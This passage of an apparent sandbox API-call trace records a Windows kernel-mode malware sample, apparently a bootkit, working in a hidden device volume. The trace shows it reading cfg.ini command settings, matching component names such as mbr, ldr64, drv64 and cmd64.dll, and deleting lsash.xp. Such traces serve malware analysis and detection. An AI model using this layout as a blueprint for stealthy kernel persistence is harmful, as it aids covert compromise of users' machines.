_MaxCount=0x10) returned -108 [0127.877] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.877] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.877] KeLeaveCriticalRegion () [0127.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.878] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.878] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.878] KeEnterCriticalRegion () [0127.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.878] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.878] IdePortDispatch () returned 0x103 [0127.878] KeWaitForMutexObject () returned 0x0 [0127.878] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.878] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.878] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.878] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.878] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.878] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.878] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.878] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.878] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.878] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.878] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.878] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.878] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.878] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.878] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.878] KeLeaveCriticalRegion () [0127.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.879] ReleaseMutex (hMutex=0x100) returned 1 [0127.879] Sleep (dwMilliseconds=0x2bf20) [0127.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f6c6010, dwHighDateTime=0x1d24fa4)) [0127.887] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.887] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.887] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.887] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.887] KeEnterCriticalRegion () [0127.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.887] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.887] IdePortDispatch () returned 0x103 [0127.887] KeWaitForMutexObject () returned 0x0 [0127.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.888] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.888] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.888] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.888] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.888] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb420 [0127.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.888] KeLeaveCriticalRegion () [0127.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.888] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.888] KeEnterCriticalRegion () [0127.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.888] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.888] KeLeaveCriticalRegion () [0127.888] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.888] KeEnterCriticalRegion () [0127.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.888] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.888] IdePortDispatch () returned 0x103 [0127.888] KeWaitForMutexObject () returned 0x0 [0127.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.888] KeLeaveCriticalRegion () [0127.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.889] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.889] KeEnterCriticalRegion () [0127.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c60000 [0127.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.889] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.889] IdePortDispatch () returned 0x103 [0127.889] KeWaitForMutexObject () returned 0x0 [0127.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.889] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.889] IdePortDispatch () returned 0x103 [0127.889] KeWaitForMutexObject () returned 0x0 [0127.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.890] KeLeaveCriticalRegion () [0127.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.890] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.890] KeEnterCriticalRegion () [0127.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.890] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.890] KeLeaveCriticalRegion () [0127.890] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.890] KeEnterCriticalRegion () [0127.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.890] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.890] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.890] KeLeaveCriticalRegion () [0127.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.891] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.891] KeEnterCriticalRegion () [0127.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.891] ExFreePoolWithTag (P=0xfffffa8003bfb420, Tag=0x0) [0127.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.891] KeLeaveCriticalRegion () [0127.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.891] ReleaseMutex (hMutex=0xf0) returned 1 [0127.891] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.891] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.891] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.891] KeEnterCriticalRegion () [0127.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.891] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.891] IdePortDispatch () returned 0x103 [0127.891] KeWaitForMutexObject () returned 0x0 [0127.891] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.891] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.891] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.891] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.891] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.891] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfda10 [0127.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.892] KeLeaveCriticalRegion () [0127.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.892] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.892] KeEnterCriticalRegion () [0127.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.892] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.892] KeLeaveCriticalRegion () [0127.892] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.892] KeEnterCriticalRegion () [0127.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.892] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.892] IdePortDispatch () returned 0x103 [0127.892] KeWaitForMutexObject () returned 0x0 [0127.892] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.892] KeLeaveCriticalRegion () [0127.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.892] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.892] KeEnterCriticalRegion () [0127.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.892] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c61000 [0127.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.893] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.893] IdePortDispatch () returned 0x103 [0127.893] KeWaitForMutexObject () returned 0x0 [0127.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.893] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.893] IdePortDispatch () returned 0x103 [0127.895] KeWaitForMutexObject () returned 0x0 [0127.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.895] KeLeaveCriticalRegion () [0127.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.896] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.896] KeEnterCriticalRegion () [0127.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.896] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.896] KeLeaveCriticalRegion () [0127.896] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.896] KeEnterCriticalRegion () [0127.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.896] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.896] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfdd90, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.896] KeLeaveCriticalRegion () [0127.896] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.896] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.896] KeEnterCriticalRegion () [0127.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.896] ExFreePoolWithTag (P=0xfffffa8003bfda10, Tag=0x0) [0127.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.896] KeLeaveCriticalRegion () [0127.896] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.896] ReleaseMutex (hMutex=0xf0) returned 1 [0127.896] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.896] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.896] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.897] KeEnterCriticalRegion () [0127.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.897] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.897] IdePortDispatch () returned 0x103 [0127.897] KeWaitForMutexObject () returned 0x0 [0127.897] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.897] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.897] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.897] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.897] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.897] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc200 [0127.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.897] KeLeaveCriticalRegion () [0127.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.897] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.897] KeEnterCriticalRegion () [0127.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.897] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.897] KeLeaveCriticalRegion () [0127.897] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.897] KeEnterCriticalRegion () [0127.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.898] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.898] IdePortDispatch () returned 0x103 [0127.898] KeWaitForMutexObject () returned 0x0 [0127.898] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.898] KeLeaveCriticalRegion () [0127.898] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.898] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.898] KeEnterCriticalRegion () [0127.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.898] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c62000 [0127.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.898] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.898] IdePortDispatch () returned 0x103 [0127.898] KeWaitForMutexObject () returned 0x0 [0127.899] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.899] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.899] IdePortDispatch () returned 0x103 [0127.899] KeWaitForMutexObject () returned 0x0 [0127.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.899] KeLeaveCriticalRegion () [0127.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.900] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.900] KeEnterCriticalRegion () [0127.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.900] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.900] KeLeaveCriticalRegion () [0127.900] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.900] KeEnterCriticalRegion () [0127.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.900] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.900] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.900] KeLeaveCriticalRegion () [0127.900] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.900] _snprintf (in: 